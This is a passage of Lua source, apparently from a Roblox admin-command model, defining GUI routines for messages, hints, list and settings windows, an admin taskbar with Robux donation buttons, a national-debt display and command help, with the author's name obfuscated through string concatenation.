3991function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
3992 if not Player then return nil end
3993 if not Player:IsA("Player") then return nil end
3994 if BodyText == "" then return nil end
3995 if not Player:FindFirstChild("PlayerGui") then return nil end
3996 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3997 local TextColor = GUI:ContrastColor()
3998 if Error then TextColor = Color3.new(1,0,0) end
3999
4000 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4001 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4002
4003 CORE:ExecuteResource("CalculateScrollY", Body)
4004
4005 return Frame, Close, Closed, Minimize, Minimized
4006end
4007
4008function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
4009 Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
4010 local TweenTime = 0.5
4011 if not Time then Time = 5 end
4012 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4013 local MaxPos = -1
4014 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4015 local IVal = SGObj:FindFirstChild("Index")
4016 if IVal then
4017 MaxPos = math.max(MaxPos, IVal.Value)
4018 end
4019 end
4020 MaxPos = MaxPos + 1
4021 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4022 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4023 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4024 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4025 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4026 SG.Parent = Player.PlayerGui
4027
4028 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4029 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4030
4031 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4032 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4033 Delay(TweenTime, function()
4034 for i = 1,0,-0.1 do
4035 Body.TextTransparency = i
4036 wait()
4037 end
4038 Body.TextTransparency = 0
4039 end)
4040 Delay(TweenTime + Time, function()
4041 for i = 0,1,0.1 do
4042 Body.TextTransparency = i
4043 wait()
4044 end
4045 Body.TextTransparency = 1
4046 local Done = false
4047 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4048 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4049 end)
4050
4051end)() end
4052
4053function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4054 if not Player then return nil end
4055 if not Player:FindFirstChild("PlayerGui") then return nil end
4056 if not PreSearch then PreSearch = "" end
4057 if AutoNumber == nil then AutoNumber = true end
4058
4059 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4060 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4061 SearchBar.Parent = Frame.Parent
4062 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4063 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4064
4065 local SearchVer = 0,nil
4066 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4067 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4068 local InDialog = false
4069
4070 local function ShowResults(Key)
4071 SearchVer = SearchVer + 1
4072 local ThisSearchVer = SearchVer
4073
4074 if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
4075 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4076
4077 local NumPos,Num = 0,1
4078
4079 for _,Data in pairs(List) do
4080 if ThisSearchVer ~= SearchVer then
4081 break
4082 end
4083 local String = STRING:Defilter(tostring(Data))
4084 if String then
4085 local ImageIcon = nil
4086 if type(Data) == "table" then
4087 String = Data[1]
4088 ImageIcon = Data[2]
4089 end
4090
4091 local TextColor = GUI:ContrastColor()
4092 local StringSplit = STRING:GetSplit(String, 1, " ")
4093 local NewColor = GUI:GetColor(StringSplit[1])
4094 if NewColor then TextColor = NewColor String = StringSplit[2] end
4095
4096 if string.find(string.lower(String), string.lower(Key)) then
4097 Spacer = false
4098 local Font = Settings.Font
4099 local Split = STRING:GetSplit(String, 1, " ")
4100 if string.sub(string.lower(String),1,6) == "bold: " then
4101 Font = "ArialBold"
4102 String = string.sub(String,7)
4103 elseif Fonts[Split[1]] then
4104 Font = Split[1]
4105 String = Split[2]
4106 end
4107 if string.sub(String,1,2) == "--" then
4108 Spacer = true
4109 end
4110 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4111 if ImageIcon then
4112 if tonumber(ImageIcon) then
4113 ImageIcon = "rbxassetid://"..ImageIcon
4114 elseif Icons[ImageIcon] then
4115 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4116 end
4117
4118 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4119 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4120 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4121 Content.Text = ""
4122 NumPos = NumPos + 90
4123 else
4124 NumPos = NumPos + 30
4125 end
4126
4127 if not Clickable then
4128 Content.AutoButtonColor = false
4129 Content.Active = false
4130 Content.BackgroundTransparency = 1
4131 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4132 SOUND:BindButton(Content)
4133 CORE:HandleEvent(Content, "MouseButton1Down", function()
4134 if not InDialog then
4135 Clicked:Fire(String)
4136 end
4137 end, true)
4138 end
4139 if Spacer == false then Num = Num + 1 end
4140 end
4141 end
4142 end
4143 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4144 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4145 end
4146
4147 RequestDialog.OnInvoke = function(RequestDialogCall)
4148 InDialog = RequestDialogCall
4149 end
4150
4151 ShowResults(PreSearch)
4152
4153 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4154 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4155 if Prop == "Text" then
4156 local Text = CORE:ReadProperty(RPR, Player, "Text")
4157 ShowResults(Text)
4158 Frame.CanvasPosition = Vector2.new(0,0)
4159 end
4160 end)
4161
4162 return Clicked, RequestDialog, Close
4163end
4164
4165function GUI:PropertyGui(Player, Title, Icon, Properties)
4166 if not Player then return nil end
4167 if not Player:FindFirstChild("PlayerGui") then return nil end
4168 if type(Properties) ~= "table" then return nil end
4169 local HasClosed = false
4170 local NewProperties = {}
4171
4172 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4173 Frame.ClipsDescendants = true
4174 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4175
4176 for PropertyName,Data in pairs(Properties) do
4177 NewProperties[PropertyName] = Data[1]
4178 end
4179
4180 local YCount = 0
4181
4182 for PropertyName,Data in pairs(Properties) do
4183 if type(Data) == "table" then
4184 local DefaultValue = Data[1]
4185 local Writable = Data[2]
4186 local ValueType = Data[3]
4187
4188 if Writable == nil then Writable = false end
4189 if type(ValueType) == "string" then -- now this is confusing
4190 ValueType = string.lower(ValueType)
4191 elseif ValueType == nil then
4192 ValueType = type(DefaultValue)
4193 end
4194
4195 if ValueType == "nil" or ValueType == "userdata" then
4196 ValueType = nil
4197 elseif ValueType == "table" then
4198 DefaultValue = STRING:UnpackArgs(DefaultValue)
4199 ValueType = "string"
4200 end
4201
4202 if ValueType then
4203 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4204 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4205 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4206
4207 if ValueType == "string" or ValueType == "number" then
4208 if Writable == true then
4209 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4210 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4211 if ValueType == "number" then
4212 NewProperties[PropertyName] = tonumber(Input.Text)
4213 else
4214 NewProperties[PropertyName] = tostring(Input.Text)
4215 end
4216 end end)
4217 else
4218 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4219 end
4220 end
4221 if ValueType == "boolean" then
4222 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4223 if DefaultValue == true then
4224 Check.Image = "rbxassetid://48138491"
4225 end
4226 if Writable == true then
4227 CORE:HandleEvent(Check, "MouseButton1Down", function()
4228 local NewVal = not NewProperties[PropertyName]
4229 NewProperties[PropertyName] = NewVal
4230 if NewVal == true then
4231 Check.Image = "rbxassetid://48138491"
4232 else
4233 Check.Image = "rbxassetid://48138474"
4234 end
4235 end)
4236 else
4237 Check.ImageTransparency = 0.5
4238 end
4239 end
4240 YCount = YCount + 50
4241 end
4242 end
4243 end
4244
4245 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4246
4247 Closed.Event:connect(function() HasClosed = true end)
4248
4249 repeat wait(0.1) until HasClosed
4250 return NewProperties
4251end
4252
4253function GUI:SettingsGui(Player)
4254 if not Player then return nil end
4255 local CloneViewSettings,CanChange = {},false
4256
4257 local ViewSettings = {
4258 ["Version"] = {CORE.Version.Value, false, nil};
4259 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4260 ["Font"] = {Settings.Font, 3, "Font"};
4261 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4262 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4263 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4264 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4265 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4266 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4267 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4268 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4269 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4270 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4271 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4272 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4273 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4274 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4275 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4276 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4277 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4278 ["Bet"] = {Settings.Bet, 3, "Bet"};
4279 }
4280
4281 local _,RankNum = RANK:GetRank(Player)
4282 if RankNum >= 3 then
4283 CanChange = true
4284 end
4285
4286 for Prop,Data in pairs(ViewSettings) do
4287 local Writable = false
4288 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4289 CloneViewSettings[Prop] = {Data[1], Writable}
4290 end
4291
4292 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4293 if CanChange then
4294 for Prop,Data in pairs(ViewSettings) do
4295 if Data[3] then
4296 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4297 end
4298 end
4299 CORE:FixSettings()
4300 end
4301end
4302
4303function GUI:MessageAdmins(TitleText, BodyText, Icon)
4304 for _,Player in pairs(Server.Players:GetPlayers()) do
4305 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4306 if PlayerAdmin then
4307 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4308 end
4309 end
4310end
4311
4312function GUI:TellAdmin(Player)
4313 if not Player then return end
4314
4315 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4316 if ValidAdmin == true then
4317 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4318 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4319 local SoundID = 237866523
4320 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4321 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4322 Sound:Play()
4323 coroutine.wrap(function()
4324 wait(4)
4325 Sound:Stop()
4326 Sound:Destroy()
4327 end)()
4328 end
4329 end
4330end
4331
4332function GUI:TellNotAdmin(Player)
4333 if not Player then return end
4334
4335 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4336end
4337
4338function GUI:CreateTaskBar(Player)
4339 if not Player then return nil end
4340 if Settings.EnableTaskBar == false then return nil end
4341 Player:WaitForChild("PlayerGui")
4342 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4343 if SG then SG:Destroy() end
4344 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4345 local IsMoving = false
4346 local TaskBarShown = false
4347 local Tasks = {}
4348
4349 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4350 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4351
4352 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4353 local Open,CloseForm = false,nil
4354 if Settings.EnableAdminMenu then
4355 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4356 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4357 if Open == false then
4358 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4359 Open,CloseForm = true,Close
4360
4361 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4362 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4363 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4364 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4365 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4366 local function DonateMoney(Type, Element)
4367 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4368 local Get = Request[Type]
4369 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4370 Server.MPS:PromptPurchase(Player, Get[1], true)
4371 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4372 Server.MPS:PromptPurchase(Player, Get[2], true)
4373 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4374 Server.MPS:PromptPurchase(Player, Get[3], true)
4375 else
4376 Element.Text = "Cannot get request"
4377 end
4378 end
4379 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4380 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4381 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4382 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4383 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4384 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4385
4386 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4387
4388 if Closed then
4389 Closed.Event:connect(function()
4390 Open = false
4391 end)
4392 end
4393 else
4394 CloseForm:Invoke()
4395 end
4396 end) end)()
4397 if RANK:GetRank(Player) == "Owner" then
4398 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4399 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4400 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4401 if HUDSG then
4402 HUDSG:Destroy()
4403 else
4404 GUI:CreateHUD(Player)
4405 end
4406 end)
4407 end
4408 end
4409
4410 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4411 if IsMoving == false then
4412 if TaskBarShown == true then
4413 TaskBarShown = false
4414 IsMoving = true
4415 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4416 else
4417 TaskBarShown = true
4418 IsMoving = true
4419 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4420 end
4421 end
4422 end)
4423
4424 local function ReloadIcons()
4425 for Num,Data in pairs(Tasks) do
4426 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4427 end
4428 end
4429
4430 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4431 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4432 table.insert(Tasks, {Form, Icon})
4433 local CanClick = true
4434 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4435 if Form.IsActive.Value == false then
4436 Restore:Invoke()
4437 elseif CanClick == true then
4438 coroutine.wrap(function()
4439 CanClick = false
4440 local DefPos = Form.Dragger.Position
4441 for i = 1,15 do
4442 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4443 wait(0.05)
4444 end
4445 Form.Dragger.Position = DefPos
4446 CanClick = true
4447 end)()
4448 end
4449 end)
4450 ReloadIcons()
4451
4452 Closed.Event:connect(function()
4453 for Num,Data in pairs(Tasks) do
4454 if Data[1] == Form then
4455 Icon:Destroy()
4456 table.remove(Tasks, Num)
4457 end
4458 end
4459 ReloadIcons()
4460 end)
4461 end)
4462end
4463
4464function GUI:ShowDebtStats(Player, ManualText)
4465 local Text = ManualText
4466 if not ManualText then
4467 Text = "CANNOT GET STATISTICS"
4468 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4469 if RawPage then
4470 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4471 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4472 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4473 end
4474 end
4475
4476 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4477 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4478
4479 return Text
4480end
4481
4482function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4483 if not Player then return nil end
4484 if not CommandTrigger then return nil end
4485
4486 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4487
4488 local CommandKey = CommandTrigger
4489
4490 if not Commands[CommandKey] then
4491 for CommandNames,_ in pairs(Commands) do
4492 for _,CommandName in pairs(CommandNames) do
4493 if CommandName == CommandKey then
4494 CommandKey = CommandNames
4495 end
4496 end
4497 end
4498 end
4499
4500 local CommandData = Commands[CommandKey]
4501
4502 local BodyText = "No valid command has been entered"
4503 local TitleText = "Error"
4504 local CanExe = false
4505 if CommandData then
4506 if Dialog then
4507 Dialog:Invoke(true)
4508 end
4509 local PlayerRank = RANK:GetRank(Player)
4510 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4511 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4512
4513 TitleText = "Command: "..CommandKey[1]
4514 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4515
4516
4517Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4518
4519
4520Description: ]]..CommandData[2]..[[
4521
4522
4523Arguments: ]]..CommandData[3]..[[
4524
4525
4526Minimum rank needed: ]]..CommandData[4]..[[
4527
4528
4529Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4530
4531
4532Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4533
4534
4535Http Command ]]..STRING:BoolString(CommandData.Http)
4536 end
4537
4538 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4539 if Dialog then
4540 Closed.Event:connect(function() Dialog:Invoke(false) end)
4541 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4542 end
4543end
4544
4545function GUI:CreateHUD(Speaker)
